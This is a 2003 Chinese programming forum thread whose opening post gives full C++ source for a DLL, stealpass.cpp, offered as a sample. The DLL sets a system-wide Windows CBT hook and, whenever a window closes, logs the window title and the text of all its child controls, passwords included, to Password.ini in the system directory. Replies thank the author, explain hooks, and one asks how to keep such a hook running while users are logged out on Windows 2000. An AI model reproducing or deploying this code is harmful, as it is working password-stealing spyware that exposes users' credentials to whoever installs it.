关于钩子的使用示例:钩取window密码

yndfcd 2003-01-14 01:20:29
/* stealpass.cpp */
/* use this file to create a dll */
/* if you have any suggestion, */
/* please contact me. */

//plateform: window 98, vc++5.0
//Note: this sample do not have any error handling code

//exports: StartWork(), StopWork()

#include <windows.h>
#include <stdio.h>

HANDLE hInst;
HHOOK hHook;

LRESULT CALLBACK GetPass(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK EnumChildProc(HWND hWnd , LPARAM lParam);
HANDLE CreatePassFile();

BOOL WINAPI DllMain(HANDLE hInstance , DWORD fdwReason,LPVOID lpReserved)
{
hInst = hInstance;
return TRUE;
}

extern "C" __declspec(dllexport) void StartWork()
{
//Setup Hook
hHook = SetWindowsHookEx( WH_CBT, //WH_CBT hook
(HOOKPROC)GetPass, //hook procedure
hInst, //the dll instance which
// contains the hook procedure
0); // hook all threads
//Error handling code should be added
}

LRESULT CALLBACK GetPass(int nCode, WPARAM wParam , LPARAM lParam)
{
HWND hWnd;
HANDLE hFile;
DWORD dwFileLen;
DWORD dwWritten;
char strName[80];

switch(nCode)
{
case HCBT_ACTIVATE://A window is about to be activated or deactiveted
break;
case HCBT_CLICKSKIPPED://A mouse Message is about to be removed for message queue
break;
case HCBT_KEYSKIPPED://A key stroke message is about to be removed
break;
case HCBT_CREATEWND://A window is about to be created
break;
case HCBT_DESTROYWND://A window is about to be destoryed
hFile = CreatePassFile();
dwFileLen = SetFilePointer( hFile, 0, NULL, FILE_END);
WriteFile(hFile,"*************************Begin***********************\r\n",55,&dwWritten,NULL);
//Error handling code

hWnd = (HWND)wParam;
//Add you own window filter
//process only the window you want to
GetWindowText(hWnd, strName, 80);
strcat(strName, "\r\n");
WriteFile(hFile,strName, strlen(strName),&dwWritten,NULL);

EnumChildWindows( hWnd , (WNDENUMPROC)EnumChildProc,(LPARAM)hFile);

WriteFile(hFile,"**************************End************************\r\n",55,&dwWritten,NULL);
CloseHandle(hFile);
//Error handling code
break;
}

return CallNextHookEx( hHook, nCode ,wParam, lParam);
}

LRESULT CALLBACK EnumChildProc(HWND hWnd , LPARAM lParam)
{
HANDLE hFile = (HANDLE)lParam ;
DWORD dwWritten;
char strClassName[80];
char strWndName[80];
char strBuffer[160];

GetClassName(hWnd , strClassName , 80);
GetWindowText(hWnd, strWndName, 80);
sprintf( strBuffer, "%s\t(%s)\r\n", strWndName, strClassName);
WriteFile(hFile, strBuffer, strlen(strBuffer), &dwWritten ,NULL);
return TRUE;
}

extern "C" __declspec(dllexport) void StopWork()
{
//Unhook the Hook
UnhookWindowsHookEx(hHook);
}

//Help Function
//Create the file use to store the password
HANDLE CreatePassFile()
{
char strBuffer[MAX_PATH];
GetSystemDirectory(strBuffer,sizeof(strBuffer));

strcat(strBuffer, "\\Password.ini");

DWORD dwCreateMethod;
WIN32_FIND_DATA wfd;
HANDLE hSearch = FindFirstFile(strBuffer, &wfd);
if(hSearch == INVALID_HANDLE_VALUE)
dwCreateMethod = CREATE_NEW;
else
dwCreateMethod = OPEN_EXISTING;

HANDLE hFile = CreateFile(strBuffer,
GENERIC_WRITE,
0,
NULL,
dwCreateMethod,
FILE_ATTRIBUTE_NORMAL,
NULL);
return hFile;
}

this is a sample hook procedure; I hope it might help you
And I also help you can put up you own expirence in writing
win32 base programs,so that we can communicate.
...全文
44 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
CPerlAsm_Lx 2003-09-09
  • 打赏
  • 举报
回复
不过,既然你不要,就不给喽~~~先
CPerlAsm_Lx 2003-09-09
  • 打赏
  • 举报
回复
yndfcd (YNDFCD) 弟弟,谢谢你的帖子,准备200分给你!!!
bells2000 2003-02-05
  • 打赏
  • 举报
回复
TO:yndfcd(YNDFCD)
小弟感激不尽。
UP~~
bells2000 2003-01-15
  • 打赏
  • 举报
回复
可以说说钩子的具体概念吗??
ksyou 2003-01-15
  • 打赏
  • 举报
回复
xuexi
用户 昵称 2003-01-15
  • 打赏
  • 举报
回复
thanks
mldds 2003-01-15
  • 打赏
  • 举报
回复
up
yndfcd 2003-01-15
  • 打赏
  • 举报
回复
在硬件/系统栏放了两天,居然没一个人看,看来来这里的都是高手,
还是转到基础栏去吧。
GoldenSword 2003-01-15
  • 打赏
  • 举报
回复
这样的方法可以取得Windows下用户对某个应用程序的一切输入,当然也包括用户输入的密码。
现在我想做一个在Windows2K下注销状态也可以运行的钩子程序,这就有些困难了。在98下面,可以用RegisterSystemService函数来登记为系统服务程序,在2k下不知怎么做?
yndfcd 2003-01-15
  • 打赏
  • 举报
回复
终于有人看了,如果大家觉得好的话,请告诉我。
QQ:184383129
email:badboyydf2002@sina.com

bells2000(洪)
钩子是操作系统的一种服务,提供在对应用程序所收的各种消息的拦截,
在应用程序收到消息之前,使该消息先由钩子来处理。

16,472

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧